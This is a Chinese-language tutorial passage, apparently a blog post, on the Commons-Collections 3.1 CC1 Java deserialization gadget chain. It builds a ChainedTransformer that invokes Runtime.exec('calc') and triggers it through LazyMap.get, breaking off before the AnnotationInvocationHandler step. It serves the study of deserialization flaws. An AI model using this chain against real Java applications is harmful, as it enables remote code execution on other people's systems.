前置条件

JDK: JDK版本应该为8u71之前

存档地址: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

利用链: TransformedMap

引入依赖: commons-collections3.1

    <dependencies>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

    </dependencies>

回顾CC1

先回顾一下CC1链的核心: ChainedTransformertransformer

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
​
        // 关键在于想办法调用chainedTransformer的transform方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
​

LazyMap

写一个 LazyMap 的简单 Demo 熟悉用法

        // 将 HashMap 包装成 LazyMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,
                new ConstantTransformer("Sinon")  // 常量转换器
        );
        // LazyMap.decorate 会 return LazyMap(map, factory); LazyMap实例
​
​
        // outerMap 为 LazyMap 实例
        // 将在查找不到 key 时会采用 ConstantTransformer("Sinon") 生成默认值
        // key 是 Map 中的键名
        Object value = outerMap.get("Rorochan");  // Map中不存在键名为 Rorochan 的键值对
        System.out.println(value);  // Sinon
​
        outerMap.put("test1","test");
        Object value1 = outerMap.get("test1");
        System.out.println(value1);  // test
    

以及注意到 LazyMap.get 方法的处理:

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

可以看到当 LazyMapget 方法在查找不到 key 时可以触发 LazyMap.decoratefactory 来实现自定义处理。

LazyMap 的装饰器方法参数是可控的。

    public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }
​
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

现在结合 chainedTransformer 链简单尝试执行命令

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
​
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(null);
​
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);  // 自定义处理
        outerMap.get("Sinon");  // 执行成功
//        outerMap.put("test1","test");
//        outerMap.get("test1"); 

寻找触发点

已经知晓的如何利用 LazyMapChainedTransformer 来实现命令执行,现在继续寻找如何调用到 get 方法以触发利用链。

AnnotationInvocationHandler类


国家一级保护废物